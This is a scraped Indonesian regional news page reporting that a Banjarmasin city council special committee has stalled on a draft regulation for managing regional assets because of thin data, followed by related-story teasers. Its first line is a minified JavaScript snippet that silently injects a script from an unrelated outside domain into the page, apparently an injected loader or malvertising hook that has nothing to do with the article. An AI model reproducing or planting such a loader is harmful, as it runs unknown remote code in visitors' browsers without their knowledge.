(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Rapat Pansus untuk penggodokan Raperda tentang pengelolaan barang milik daerah berakhir buntu. Lantaran, pasal demi pasal dibahas dengan bermodalkan data yang sumir.
Terkait hal tersebut, Anggota DPRD Kota Banjarmasin Achmad Maulana mengatakan, pembahasan Raperda tentang pengelolaan barang milik daerah atau aset belum final untuk diparipurnakan menjadi Perda.
“Salah satu masalahnya, masih minimnya data yang digali sebagai bahan penggodokan Raperda itu, makanya rapat pembahasan akan terus dilakukan, belum lagi sampai finalisasi,†ujarnya.
Ditambahkan Achmad Maulana, pada rapat lanjutan nanti Pansus akan memanggil Badan Keuangan dan Aset Daerah Kota Banjarmasin untuk duduk bersama membahas sejumlah kekurangan data dalam penggodokan aturan itu.
Ia memaparkan, Raperda tersebut harus terus didorong karena dewan sedang menghadapi dua hal yang harus juga terus digenjot yaitu tekanan dari masyarakat kepada dewan untuk segera menggunakan hak interpelasi, karena Pemkot dianggap tidak transparan perihal pengelolaan aset daerah. Dan rujukan dari hasil audit Badan Pemeriksa Keuangan yang dari tahun ke tahun selalu menjadikan masalah aset sebagai catatan koreksi.
“Ada aset dalam bentuk bangunan atau lahan yang dikuasai pihak ketiga, namun tanpa ada kejelasan, yakni seberapa keuntungan Pemko atas kerjasama tersebut,†katanya.
Aset Pemkot yang dikerjasamakan dengan pihak ketiga, ternyata pihak ketiga tersebut menyewakan lagi ke pihak lainnya, bagaimana aturannya belum jelas.
“Jadi semua harus diluruskan, sehingga aset milik daerah benar-benar bisa dilindungi, tidak nantinya malah hilang atau berpindah tangan,†ujarnya.
Sementara itu, Kabidkum dan Perundangan Pemko Banjarmasin Jefrie Fransyah mengatakan, pembahasan Raperda asset menjadi lamban karena materi pembahasan yang terlampau banyak.
Ia menyebut, bab per bab hingga pasal per pasal harus dilihat dengan jeli, agar tidak bertabrakan dengan acuan yang lebih tinggi.
Sebagaimana, jelasnya, PP No 27 Tahun 2014 tentang Pengelolaan Barang Milik Negara/Daerah, kemudian lagi Permendagri No 19 Tahun 2016 tentang Pedoman Pengelolaan Barang Milik Daerah.
Untuk substansi Raperda ini, Jefrie mengaku,sudah sepaham dengan draf yang ada. Hanya untuk rincian yang masih menjadi pembahasan alot, namun dia meyakini akan ada solusinya agar Raperda ini sepakat secepatnya bisa diparipurnakan. (ammar)
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
This website uses cookies.